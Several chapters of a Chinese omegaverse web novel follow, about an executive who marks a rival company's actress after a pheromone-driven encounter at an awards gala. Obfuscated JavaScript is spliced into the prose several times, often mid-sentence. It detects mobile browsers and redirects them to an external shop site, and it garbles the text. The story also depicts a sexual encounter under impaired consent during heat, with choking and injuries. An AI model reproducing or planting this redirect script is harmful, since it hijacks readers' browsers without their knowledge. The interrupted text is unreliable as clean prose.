《被温柔钓系Omega贴贴后》 1. 第 1 章 年度影视盛宴。 灯饰华美璀璨。 人们穿着各式亮眼的晚礼服在后台穿梭,碰杯交谈。 远离喧嚣的贵宾休息室里。 化妆师着装工整,头戴医疗防护帽,面上系着口罩,正俯身给女人化妆。 她始终和女人保持着适当距离,以确保自己或自己的发丝不会无意间接触到对方。 前一任化妆师就是这么被解雇的。 “纪总,会席座椅已经替换好,重新消过毒了。” 化妆椅后方,一位女性beta双手捧着文件,站姿笔直。 岑桑是纪从烟的助理,俩人从小一起玩到大,目前是上下级也是朋友关系。 “嗯。”纪从烟淡淡应声。 化妆刷扫过眼底,她闭上眼。 “最佳商业奖安排在七点零五分左右,获奖作品是《茧》,薄影后将会代表剧组上台领奖。这是发言稿,您看需要拿着上台么?” “不需要,对了,吴导确定好最终人选没?” 岑桑:“确定了,是薄影后。” 纪从烟突然睁开双眼,眉心微微隆起一个小包。 化妆师还没画好眼妆,笔尖险些戳进眼睛里,而纪从烟甚至没眨眼,向镜中的岑桑投去一个疑惑眼神。 她生了一双细长漂亮的眼,五官大气又显明媚,幽兰色的晚礼服将她衬得清雅又矜贵,举手投足间萦绕淡淡优雅。 “她?你是说吴导打算让薄霜去当这个项目的女主,扛大炮?这吴朗丽别是夹带私货。” 纪氏集团旗下的影视公司安纪娱乐,与月屿娱乐被称为国内影视两大巨头。 近来,两家公司达成了共同投资项目的协定。 所有看过剧本概要之人无一例外认为,安纪娱乐当家花旦玉晨的长相更为英气,更加适配主角人设,大家本以为是十拿九稳。 岑桑捧着平板上前,播放玉晨的试戏片段。 很出彩,超水平发挥,没有不选她的道理。 岑桑正要划到下一段视频,门突然被敲响。 工作人员提醒:“纪总、岑助,可以入场了。” 纪从烟摆了摆手,闭上眼睛:“晚宴结束了再看。” 近些年,国内各大奖的最佳女演员奖项均被玉晨和薄霜两人包揽。 二人的演绎能力是有目共睹的拔尖。 优秀的影视项目一年也就那么一两部,两位影后经常性的打擂台。 一般而言,导演会选择更贴切主角人设的一方。 没想到如今几乎是囊中之物的角色花落敌家。 纪从烟倒要看看,她安纪娱乐摇钱树如此精湛的表演,到底哪里比不上外表完全不符合人设的薄霜。 贵宾室门启开。 岑桑在侧前方开路。 纪从烟179cm的身高踩着高跟鞋,出落高挑、宽肩窄腰,即便在美人如云的娱乐圈里,她也独显一番气势和风采,让人忍不住驻足回首。 发尾微卷的长发飘逸,晚礼裙曳地,迈出了优雅从容的步伐。 “纪总。” “纪总。” 路人纷纷打招呼,却不敢靠得太近。 所有人都知晓纪氏太子女的洁癖,生怕靠近了惹她不快。 曾经就有那不怕死的男Omega,拿着一杯红酒假模假样要撞上纪总,结果还没碰到纪总就被旁边的助理一脚送到墙边,红酒撒满他全身。 那天之后,众人再没在圈里看到他。 会场一侧传来骚动声,人群乱哄哄聚在一块儿。 纪从烟随意扫了眼。 有两个人当众贴在一起了,贴得难舍难分。 各自的助理只好喊上安保,一起把自家艺人送回休息室。 在她们的世界里,AO之间的匹配度只要超过80%,在任意一方易感期或发情期时,只要距离近,彼此间就会产生一股不可抗的吸引力。 物理意义上的引力。 匹配度越高,彼此间的吸力越强。 纪从烟不喜欢这种野兽般的配对方式,更不能接受任何一个Omega贴到她身上。 她是名副其实的单身主义。 纪氏集团是本次盛宴的冠名赞助商。 纪从烟代表纪氏集团,位置在第一排正中央。 这张椅子和所有的椅子都不一样,更具质感低调奢华,宽度是旁的一点五倍有余。 以纪从烟为圆点的方圆两米以内,除了岑桑,不存在别的活人。 众人也习以为常,并未对这一幕报以奇怪目光。 盛宴奖项繁多,主持人和嘉宾在台上滔滔不绝。 七点零五分,作为最佳商业奖颁奖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283885|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉宾的纪从烟上台,她戴着一双白手套,捧着主持人给她递来的卡片。 “我宣布,获得最佳商业奖的影视作品是——” 后方,大屏幕浮现五个影视作品的海报,纪从烟没拖太久。 “《茧》,恭喜影片《茧》,荣获本年度最佳商业奖。” 主持人:“有请《茧》剧组工作人员上台领奖!” 灯光落在《茧》剧组人员那一片的区域,副导演上台领奖,纪从烟下台回到位置后,收到了岑桑发来的信息。 【薄影后身体不适,在楼上休息。】 纪从烟并不在意谁领奖,随意嗯了声。 盛宴场地在一座独立的度假岛上,离纪从烟平常住的地方远,她今晚只能退而求其次住在度假村的酒店。 岑桑带人提前一周来清洁顶层套房,换上纪从烟平常睡的那款床和床垫。 纪从烟感到后颈一阵轻微的不适,她抬手摸了摸后颈的抑制贴。 还完好贴着后颈肌肤。 可她的易感期不在这几天。 “去准备些抑制剂。”她吩咐岑桑。 岑桑担忧道:“需要帮您联系医生吗?她就在楼下。” “不了,暂时来看没什么大问题,只是有点不适。快去,顺便把那谁的试戏片段发我。” 岑桑去取抑制剂了。 纪从烟手机震动,电话进来。 玉晨醉醺醺的声音传到听筒:“纪总......对不起,我没能拿下主角。吴导是不是偏心自家公司的演员,好多后辈都跟我反馈了这点......” 纪从烟推开房门,声音平淡。 “我还没看薄霜的试戏片段,如果对方表现跟你相差不远,公司会再帮你争取一次试戏的机会,你的外表要比她更占优势。 如果是你技不如人,那你就认。” 玉晨哽咽着叽里呱啦又说了什么。 纪从烟没耐心听,直接挂了电话。 关上房门,灯还没启开,她靠在门边,点开岑桑发来的文件。 可不待她看清画面,空气中突然一股清幽香气传来,伴随后颈一阵强烈的刺痛感。 纪从烟感觉躯干不受控制要往前,好似莫名被什么东西吸引。 她扶着门站定,还没反应过来怎么回事儿,一团温热的东西就撞进她怀里。 2. 第 2 章 啪嗒—— 手机被突如其来的意外撞到地上。 纪从烟反应不及,或者说她压根没法抵抗这种吸力,被突如其来之人撞得后退几步贴到门上。 门板发出闷沉撞击声响。 情况显而易见,一个Omega被吸进了她怀里。 她还没脱下高跟鞋,此时差不多一米八六。 而对方只穿着酒店备用的一次性棉拖,裸高约莫一米七二三,一头柔软的发丝顶着下巴,整个人牢牢吸附在她身上。 一股若有若无的Omega信息素气息缠上鼻尖。 有点香,但, 压扁了造型师精心为她理出的微弧发尾造型。 颅内小宇宙几乎瞬间爆发,纪从烟眉心蹙着,抽出了被夹着的长发,拨到身后。 优雅并慢条斯理地用手背拨开Omega。 很好,敢让陌生人进她的房间。 明天就让这家酒店倒闭。 可吸力远超想象。 还没看清对方的脸,刚推开的Omega又被吸了回来,纪从烟被撞得胸口一疼。 同时伴随一股更加成熟馥郁的幽兰檀香信息素扑面而来,纪从烟脑海甚至空茫了一瞬。 直到后颈一阵剧痛唤醒了她。 Alpha腺体受到Omega信息素刺激,开始发烫变得肿胀起来,甚至顶开了抑制贴的边缘,溢出了一点黏稠的液体。 雪巅清酒的香气瞬间在玄关里逸散,空气温度好似骤降,仿佛刹那间就站在雪山之巅,而清冽霸道的酒香却让人汲取到无尽的暖意,宛如要与这冰雪拥抱融化在一起。 没有任何Omega能抗拒这样的Alpha信息素,明媚又霸道。 Omega的鼻尖无意识地往后颈轻蹭了蹭,愈发靠近Alpha腺体。 纪从烟本就不耐烦自己的地盘被陌生人闯入弄脏,如今被发.情期的Omega信息素弄得狼狈不堪,浑身更是像被火烧一样滚烫。 扶着门把手重重喘气,唇缝颤动着冷硬地挤出一个字。 “滚。” 面前的Omega却没有丝毫反应,纪从烟不得已去检查对方的状态。 Omega穿着雾蓝真丝晚礼裙,裙摆恰好盖过膝盖,一字肩的款式让肩膀肌肤完□□露出来,光滑白皙,雪中透着轻微的红。 双腿似乎在轻轻摩挲着,整个人重量靠吸力贴在纪从烟身上,从脖颈到耳根蔓延着粉,似乎还在无意识地颤声嘤咛。 这声音...... 被Omega信息素搅得愈发难以进行思考,纪从烟磨了磨后槽牙,忍着腺体剧痛和标记齿蠢蠢欲动的痒意,掐着Omega后颈,重重往后一拽。 这是一张极具权威性的脸。 娱乐圈内不缺美人,纪从烟明媚优雅的美在其中也只是别具一格,而面前这一张脸,是圈内外无论何种性别都公认的美。 一双美得无可挑剔桃花眼,柔中带着婉约,好似说尽了江南水乡的柔意,这时羽睫沾着湿漉漉的水意,墨色瞳孔涣散着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283886|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > Omega仿佛完全没意识到自己正和危险的Alpha共处一室。 纪从烟呼吸凝固。 是薄霜。 摔到地面的手机,恰好传来温温柔柔的声音。 “吴导好。” 吴导是谁? 不知不觉间,纪从烟早已意识模糊。 突然,嘶啦一声,后颈骤然一凉,抑制贴掉落地面,腺体完全暴露出来。 雪巅清酒的气息铺天盖地笼罩整个房间,与幽兰檀香融合交互。 Omega不安分地蹭拱,纪从烟的意识渐渐被蹭磨殆尽,一双纤长的手圈上她的脖颈。 温婉嗓音颤抖着断断续续。 “纪总……” 纪从烟颅中最后一缕意识几乎要被这句话湮灭,她掐着薄霜那截修长的颈,盯着那双漂亮的桃花眼。 “你知道这里住了谁!?故意进的房?” Omega摇了摇头,又缓慢点头,一头蓬松飘逸的乌丝在纪从烟下巴挠过,心头那股邪火便烧得更旺,掐着对方脖子的力道越来越重,怒意已经攒到了极致。 薄霜漂亮的眼尾泛着绯红,鼻尖红润,被掐得几乎要喘不上气,粉唇微微启开一条缝,轻喘着气。 可她依旧没有挣扎,只是看向纪从烟,那双涣散的眼眸仿佛深深望进了她眼底,带着温柔又浓烈的情.欲。 纪从烟脑海轰一声,理智近乎灰飞湮灭,掐着Omega的脖颈,低沉声音缠绕她的耳畔。 “愿意你就点头。” 3. 第 3 章 似乎在分辨她的话,Omega涣散的瞳孔微微聚焦。 纪从烟像蛰伏的猎人,一眨不眨地盯着。 不多时,便见怀里那颗脑袋轻缓地点了一下,标记齿瞬间肆无忌惮地冒出尖头,下意识循着幽兰檀香香源的地方去。 她反手就给薄霜翻了个身,撩开那头精心设计但碍事的长发。 Omega腺体暴露无遗。 小巧一块横在后颈,毫无抑制贴阻隔的痕迹。 相比正常状态,这时异常红润饱满,散发着极其吸引Alpha的馨香。 Alpha正在打量欣赏这一小块即将占有的Omega腺体。 可Omega背过身并不知晓,只知道Alpha并未如她所愿,标记齿久久未落。 脑袋又缓慢点了两下。 这次,力度相对重,还隐隐带着催促的意味。 然而Alpha依旧没有履行她们刚才定下的口头诺言——点头就是愿意。 薄霜转头,还没看到纪从烟的双眼,后颈就在这时陡然一热,腺体被毫无征兆刺破。 痛感瞬间席卷全身。 空气中散发出轻微的痛苦呜咽,薄霜疼得几乎站不稳。 而纪从烟只是低头在咬,双手自然垂落,丝毫没有要帮助对方站稳的意思。 不得已,薄霜只能下意识地扶住了身后的大腿。 但很快被无情推开。 被Alpha野□□念完全占据,纪从烟依然保留了骨子里那点受不了和人肢体接触的原始意识。 从后颈里抬起头。 “别碰。” 声音散发着危险,警告意味十足。 她重新埋首。 玄关顶灯落在二人身上,薄霜眼眸的水润缓慢汇聚,一滴眼泪悄无声息融入地毯。 …… Alpha的技艺异常生涩。 眼前,Omega本是白皙漂亮的后颈腺体,布满了咬痕,肿胀得看不出原样,骇人又狰狞。 薄霜背对着她,光滑脊背起伏平稳,清晨的光束落在裸露的香肩。 还在睡。 纪从烟心底划过一抹异样,很快消散不见。 手机震动,岑桑发来消息。 阻隔环到了。 阻隔环是用于阻隔AO特殊期间彼此产生的吸力,其原理是一对互斥的磁铁,外表做成装饰性项圈样式,戴在脖子上。 若是不用阻隔环,吸在一起的AO没办法自行分开,只能贴着行动。 一个小机器人缓慢出现在纪从烟的视野,托盘上放着一对陨石黑的素项圈。 握在手上有点分量。 信息素匹配度越高,所需要的斥力越强,磁铁的分量也就更重。 这是信息素匹配度高达100%的专用款式。 “咔哒。” 纪从烟戴好了颈圈,另一个项圈随手一扔,越过薄霜肩膀落在她身前 “醒了?把抑制环戴上。” “可以麻烦纪总帮忙戴上吗?” 薄霜的声音很哑,却带着独有的温婉。 纪从烟淡声:“没长手?” 薄霜顿了顿:“纪总,昨晚你把我的两只手都掐肿了。” 说掐肿或许都算美化,完全陷入易感期的Alpha控制力强得惊人,单手扼住她的一对手腕,薄霜只能任由对方摆布。 手腕青肿,脖颈更是四面八方布满掌印,青青紫紫这一块那一块,香肩上也不乏。 脑海飞闪过一些记忆碎片。 纪从烟揉着眉心,沉默着取回另一个项圈,给薄霜戴上。 相斥的力超过吸引的力,那种不得不和薄霜贴在一起的感觉消失了。 她裹上浴巾便下了床。 踏入浴室的瞬间,在浴镜中看到了颈上的项圈。 啧。 这是她戴过最丑的单品,重量还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283887|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压脖子。 眼中流露出明晃晃的嫌弃。 纪从烟仔仔细细洗了个澡,系好浴袍带子才走出浴室,热气蒸腾萦绕着她。 浴袍遮到膝盖,走动时,修长的大腿摆动,隐隐若现。 即便被迫诱发出的易感期热仍在困扰,标记齿蠢蠢欲动,还想咬点什么。 她依旧优雅从容。 很难将这一张优雅到极致的脸,与咬得Omega后颈一片红肿之人联系在一起。 颈上的项圈牢牢紧锁。 她自然地落座化妆镜前,开始护肤步骤。 认真专注,全然没给床上的Omega分去任何眼神,仿佛这房间里只有她一人。 半个小时过去,纪从烟完成了所有的护肤步骤,脸部肌肤状态比之从前都要好,白里透着健康的粉红。 起身正要去衣帽间,余光瞥见薄霜还在。 她靠坐在床头,被子裹住锁骨以下,两套晚礼服凌乱地散在床边,一双高跟鞋东倒西歪躺着。 脖子上的掌印夺目,抑制环盖住了小半。 薄霜看着她,不知看了多久。 “吴导项目的主角,玉晨不会再跟你抢。” 纪从烟顿了顿,拉开手包,指尖夹着一张黑金色的卡片,放在化妆桌面。 “清洗标记,再找个护工照顾你直到身体完全恢复。” 交代完,她转身步入衣帽间。 “纪总。” 身后一道声音让她止步,纪从烟回身,眉眼微沉,似乎在提醒对方不要得寸进尺。 “还想要什么?薄小姐不如一次性说清楚。” 薄霜摇了摇头,婉声:“我什么都不要。” 纪从烟不在意地点头,只当那是薄霜维持人设的矜持说法。 “嗯,我会跟吴朗丽沟通,剧组开机时间推迟一个半月,足够你养到身体恢复。” 换好衣服,纪从烟头也不回地离开了。 4. 第 4 章 纪氏集团总部。 上班时间大堂人来人往,人潮中央自动辟开了一块清净处,只有两人在里面走着。 岑桑戴着白手捧,跟在纪从烟侧后方,提着一个贵重的丝绒盒子,盒子外套了层防尘罩。 众人好奇地用余光打量岑助提着的东西。 上班最大的乐趣是八卦吃瓜,尤其是老板的瓜。 员工们交换眼神,有的已经拿出了手机,内部吃瓜群聊得热火朝天。 【纪总的首饰?】 【什么饰品要用上这么大个盒子,还扁扁的】 【项链?】 【好像没怎么见纪总戴过项链】 【就是项链,刚才我离得近,看到纪总侧颈上有一小道浅浅的粉色】 【脖子,粉色,不会是一种水果吧......[目光呆滞]】 【想啥呢,纪总这辈子都不会谈恋爱吧[无语擦汗]】 【我也看到了,不是草莓,条状的,应该是被项链什么的勒到了】 一位员工看得津津有味,头也不抬地往前走,不知踩上了什么东西脚下突然一歪,猛地倒向人潮辟出来的清净中央。 事情发生在眨眼间,员工没来得及反应,眼睁睁看着自己摔出去。 倒向刚好路过她身侧不远处的纪从烟。 完了。 这份高薪工作恐怕难保。 万念俱灰之下,她已经做好了等会儿就回工位收拾东西的打算。 忽地一双手出现,牢牢扶住她,是岑助,挡在了她和纪总之间。 “看路。” 员工点头如捣蒜,忙不迭回到了人群里。 总裁专用电梯缓缓关门。 众人才从刚才令人大惊失色的一幕中反应过来。 岑桑:“不是故意的,我刚才不小心看到了她的手机,是公司的吃瓜群聊界面,他们在聊盒子里装了什么,有同事分享您的后颈似乎有一块红痕。” 她取出镜子,纪从烟只是简单扫了眼:“想问什么就问。” 岑桑笑着:“纪董和夫人会很开心。” 天知道她清晨收到纪从烟让紧急购置一对阻隔环的时候有多激动。 纪从烟这不知遗传了谁的洁癖,几度让两位母亲为她婚姻大事愁得掉头发,近两年才看开了些。 没想到这棵铁树终于要开花了。 “意外而已,不会有后续。” 纪从烟颇为烦躁地揉了揉眉心。 岑桑一脸激动期待的神情回归平静,变得有些凝重:“是昨晚的体验不佳?” “挺好,但这种意外发生一次就够了,过犹不及。” “你难道打算一辈子用抑制剂?没有任何AO能单靠抑制剂活过五十岁。” “那我宁愿不活到五十岁。” “纪总。” 电梯门恰好打开,岑桑堵在门口,脸上写满担忧。 这人小时候就这样,听说她活不过五十岁就垮着个脸,仿佛活不过五十岁的是自己而不是她。 指尖在屏幕上划了几下,纪从烟在某暗网里随手翻出一条视频。 暧昧的喘息声音瞬间充斥电梯间。 是那种片子,Alpha正在对Omega进行标记,Omega后颈腺体遍布咬痕,红肿骇人,岑桑眼睛瞪得大大,难以置信地捂着嘴巴。 “这......” “岑桑,你是beta,或许没有刻意找标记相关的视频看过,而事实就是这种行为给Omega带来的伤害太大,我没办法接受我纪从烟的Omega被我这样糟蹋。” 即便对薄霜没什么特殊的感情,只是发乎Alpha的兽□□望,纪从烟在看到薄霜后颈一片狰狞咬痕的瞬间,心也不可避免地沉下,产生了一种名为愧疚的情绪。 “那你昨晚......抱歉,你应该已经给了对方经济补偿?” 岑桑有点看不下去了,为视频中的Omega感到难过。 “给了一张黑金卡,里面有两个亿现金和两个亿的透支额度。再者,体验也就那样吧,有没有都行,没有更好。对了——” 纪从烟坐到办公位,翻开文件,想到什么抬起头,光线落在她明艳立体的侧脸。 “在我常待的地方、车上都备好阻隔环。” 安纪娱乐是纪氏集团旗下的重要产业之一,她不时会到剧组里去视察。 核心项目的主角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283888|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎都绕不开玉晨和薄霜。 以防万一,阻隔环需要配备完全。 两位母亲最近在外旅游,把公司和妹妹丢给她来看管,文件堆积如山。 一个上午过去才处理不到一半。 中午,敲门声响起,略显急促。 岑桑进门,语速快得像机关枪:“玉晨惹事了。” 她身后跟着玉晨的经纪人,经纪人额头冒着冷汗。 “是这样的纪总,晨晨她刚才可能还没醒酒,脑子一热就...就给薄霜打了电话,开始语气还正常,但到了后面...她她她直接骂起了薄霜。” “薄霜的经纪人录音留了证,要求玉晨当面向薄霜道歉。 晨晨她...不太愿意,但但但她可能只是没醒酒乱说而已,纪总您知道的,晨晨她不是这样的人。” 纪从烟指尖轻敲桌面:“把玉晨带过来醒酒。” 经纪人擦着额头上的汗:“已经让助理去叫了,在路上。” 十分钟后,顶层会议室。 酒气熏天,玉晨东倒西歪地靠在沙发,没点国际影后应有的形象。 纪从烟坐在对面,眼神冰冷。 玉晨冲她露出醉醺醺的笑,极具权威的浓颜系笑脸能迷倒一大片粉丝和路人。 “纪总......好久不见了,您还是这么漂亮呀~” 纪从烟无视醉言醉语:“岑桑,放录音。” “......诶我就没想明白了,咱俩演技不相上下,吴导凭什么选你不选我?瞧你一脸柔弱得能掐出水的长相,扛大炮都能压垮了你的肩膀吧?” “薄霜你说话!别让我一个人唱独角戏!” “算你狠薄霜,咱俩斗这么多年,你跟我玩阴的?说吧,这角色你用什么方法拿到的,我瞅瞅我能不能有你这魄力豁出去。” 录音播放着,只有玉晨的声音。 而会议室里,玉晨也醉醺醺嘟囔:“就是嘛......谁都知道这个项目有多重要,薄霜硬件条件比我差,她凭什么,难道不是因为——” “嘭!” 茶杯重重砸在桌面,玉晨脸上的茶水肆意淌流,狼狈至极,她瞪大了眼睛,震惊望向纪从烟。 5. 第 5 章 “纪,纪总......?” “酒醒了没?还没醒这会议室里多的是茶水。” 纪总语气冷硬,玉晨这回是彻底醒了。 茶水从下巴低落,砸湿了裤子,经纪人在一旁震惊又慌,甚至不敢给自家艺人递纸。 纪从烟教养优良,底下的人惹了天大的祸事,她也只会优雅地抿一口茶,冷脸理智地迅速分配好所有善后工作安排。 玉晨这事说大也不大,说小却也不小。 她祸从口出的事情也并不算罕见。 但这是玉晨和经纪人王英第一次看到纪从烟动手。 只有岑桑知道,纪从烟是真动怒了。 “醒了......”玉晨咽了咽口水,问,“我能先擦个脸再给薄霜的经纪人回电话吗?” 纪从烟点头,王英和玉晨如蒙大赦,递纸的递纸,擦脸的擦脸,以最快速度整理好形象。 “玉小姐肯低下您高贵的头颅给我家艺人道歉了?” “然姐~醉酒说了醉话,您大人不记小人过。” “行了,客套话就不必多说,玉小姐亲自去给我们家薄霜赔礼道歉,这事儿就算过了。” “然姐大气,薄小姐所在的地址麻烦您发我,我一个人提礼物上门赔礼道歉。” 挂断电话后,地址发到了玉晨的手机上。 玉晨盯着地址,又跟对方再三确认了一遍。 突然站起了身,看向靠在沙发晒太阳的纪从烟,咬着牙委屈道:“纪总,她为难我。” “让我离京跑到最南边,就昨天影视盛宴那儿的度假村去找薄霜,这不是为难是什么!?她故意的吧!?谁的行程不是满满当当?这一来一回我今天的商务不得违约了......” 阳光晒在脸上,暖意十足,纪从烟舒服地半阖着眼眸,玉晨叽那里咕噜的声音丝滑不过耳。 突然敏锐地捕捉到了关键字样。 薄霜还在昨晚的酒店? 脑海再次浮现Omega身上各处的青紫,以及后颈腺体的肿胀和咬痕。 是因为伤势过重? 纪从烟垂下眼睫,打断依旧在滔滔不绝的玉晨:“岑桑,带她们先出去。” 这是要打电话,不方便外人在场。 岑桑将玉晨和王英请出去,轻轻带上会议室的门。 会议室只剩纪从烟。 她今天穿着相对休闲的深色西装,条纹领带的斯文感稍稍压住了过分明媚的面容,显得优雅沉稳。 她站在巨幅落地窗前,望向底下繁华秀丽的江景,影子笔挺修长。 握着手机,屏幕上方显示着一串电话号码。 “你好。” 接通的一瞬,听筒内传来婉柔中夹杂着哑意的声音。 纪从烟说:“是我。” 另一端明显顿了顿:“纪总。” “这件事是玉晨的问题,她诚心道歉,你经纪人林然的意思是让玉晨亲自到酒店给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283889|198399||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你道歉。但我记得你的身体受了比较严重的伤,应该暂时不方便面见客人。” “我这里给你提供一个道歉方案,玉晨稍后以视频通话形式向你道歉,等你身体恢复了,她再上门二次赔礼道歉,薄小姐意下如何?” 总统套房内充斥着淡淡的草药香。 女人扶着墙壁,另一手撑在侧后腰,松松垮垮地穿着浴袍,颈部露出青青紫紫的各种痕迹。 行走速度缓慢,稍微走快一些,那双如春水拂过的眉毛便向内挤压,眉心拧起,轻喘着气。 “我和玉小姐的矛盾,何至于惊动纪总?” 纪从烟听出了声音里的勉强,沉默了瞬,视线漫无目的地扫过江面:“很疼?” 比起方才提起玉晨的事情,语气多了几分不自然的僵硬。 薄霜脚步顿住:“嗯,疼。” 纪从烟:“抱歉,再补两个亿够吗?” “纪总是觉得两个亿能够解决?”温柔的声音辨不出情绪。 纪从烟开口就是加价:“三个亿,四个亿。” 每往上报一层,她便顿一顿,等待薄霜的答复,然而报到了六亿,对方依旧没有回应。 眼神渐渐冰冷:“薄小姐适可而止。” “新方案我同意了。” 薄霜留下一句话,电话挂断,听筒中只剩下忙音。 修长身影站在玻璃前,直到忙音播放结束,纪从烟才从唇缝中冷声挤出一句:“不知好歹。” 6. 第 6 章 傍晚,顶层总裁办公室澄光弥漫,玻璃包裹的办公位里,纪从烟正低头翻阅文件,空气只有纸张翻动的声音。 敲门声响起,粉唇微启:“进。” 岑桑站在门口一会儿,等纪从烟签署了文件才开口:“玉晨已经通过视频通话的形式向薄影后真诚道歉,约定新项目开机的当天在薄影后的私人化妆间当面再道一次歉。” “她有没有乱说什么?” “没有,玉晨这次很守规矩。”岑桑抬起头,笑道,“她应该是被您吓到了,短时间内不会再闹事。” “她还很想知道自己为什么被踢出局,王英说她为这个角色付出了许多努力。” 纪从烟想起来自己还没看薄霜的试戏片段:“把她和薄霜的试戏片段投出来。” 十分钟后,纪从烟点评:“技不如人,让玉晨自己认了,别再纠缠这个项目。” 试戏片段展现出来的差距相当明显。 玉晨的外观硬件非常符合角色,试戏更是挑不出任何毛病,发挥出了她最佳的演绎水平。 然而薄霜在硬件不占优势的前提下,将主角身为孕寡妇的内核演绎得更为淋漓尽致,是画龙点睛中最后的神来之笔,堪称绝色。 任何看过薄霜表演之人,都不会选玉晨来担任主角了。 玉晨这回输得不冤。 岑桑向王英和玉晨转达了纪从烟的意思。 轿车平稳行驶,最终停靠在一所私立幼儿园的门口。 京城权贵云集,门口遍布豪车,幼管一对一负责将每个孩子送到对应的车上,态度恭敬。 车里迎来了一个小家伙。 她生了张明媚灿烂的小脸,不似她的两位母亲般萦绕着淡淡的威仪感,也不像她二十六岁的总裁姐姐有着超出同龄人的沉稳优雅,六岁的小家伙面上还遍布纯粹青涩的童真。 “寻雾小姐,晚上好。”岑桑从驾驶位下来,接过幼管送到面前的纪寻雾。 “岑姐姐也晚上好。”纪寻雾坐上儿童座位,自觉系好安全带,环顾四周疑惑问道,“我姐姐呢?” 岑桑回到了驾驶位,下巴朝远处努了努:“在那,刚打电话呢。” 纪从烟站在一棵树下,夕阳将她的身影拉长,现在不知怎的被人缠上了。 纪寻雾皱起了她的小眉毛:“姐姐对面的是Omega吗?” 岑桑:“是。” 她有一项莫名其妙的技能。 只要分化了,但凡她看一眼就能分辨出对方的第二性别,纪从烟对面的毫无疑问是Omega。 后座传来解安全带的声音。 “麻烦岑姐姐在车里稍等。” “需要我陪你去吗?”岑桑知道她要做什么。 “谢谢岑姐姐,不需要,我能解决。” 小大人似的语气,岑桑为她拉开车门,站在车门旁,看着纪寻雾独自穿过精心修剪的昂贵草坪,还婉拒了主动上前的幼教的帮助。 对于六岁的纪寻雾而言,这是一段很长的路程,好在平时在姐姐的引导下有进行规律锻炼,走到姐姐面前只是喘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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佣人分列两侧,恭敬行礼:“大小姐,小小姐,岑桑小姐。” 老管家迎上前,在距离纪从烟两米开外停下,陪着三人往灯火通明的客厅里走去。 “大小姐,晚餐已经准备就绪,您是独自回楼用餐,还是和小小姐岑桑小姐一起用餐?” 纪从烟正要说‘回楼用餐’,感受到身侧一道视线。 她偏头,对上纪寻雾那双小小的充满期待的眼睛。 话到嘴边变成:“和寻雾一起吃。” 小不点儿瞬间眉开眼笑,眼睛眯起,生怕姐姐改主意,又矜持地扭回脑袋。 几乎蹦起来的脚步出卖了她此刻的喜悦。 姐妹俩虽未手牵着手,四周的空气却也洋溢着幸福。 进入客厅前是更衣区,三人净手、换上了舒适的居家服。 餐桌食物丰盛,每个人手边都摆着完整的餐具,筷子、餐叉各两套,分别是自用和夹菜用。 纪家人食不言寝不语,餐厅里只有巨幅电视的声音。 晚饭结束,纪寻雾在前院的石亭里练书法,岑桑陪在不远处。 纪从烟换上家居服后便不会出门,独自在主楼的客厅沙发加了会儿班。 九点,沉重的钟声响起。 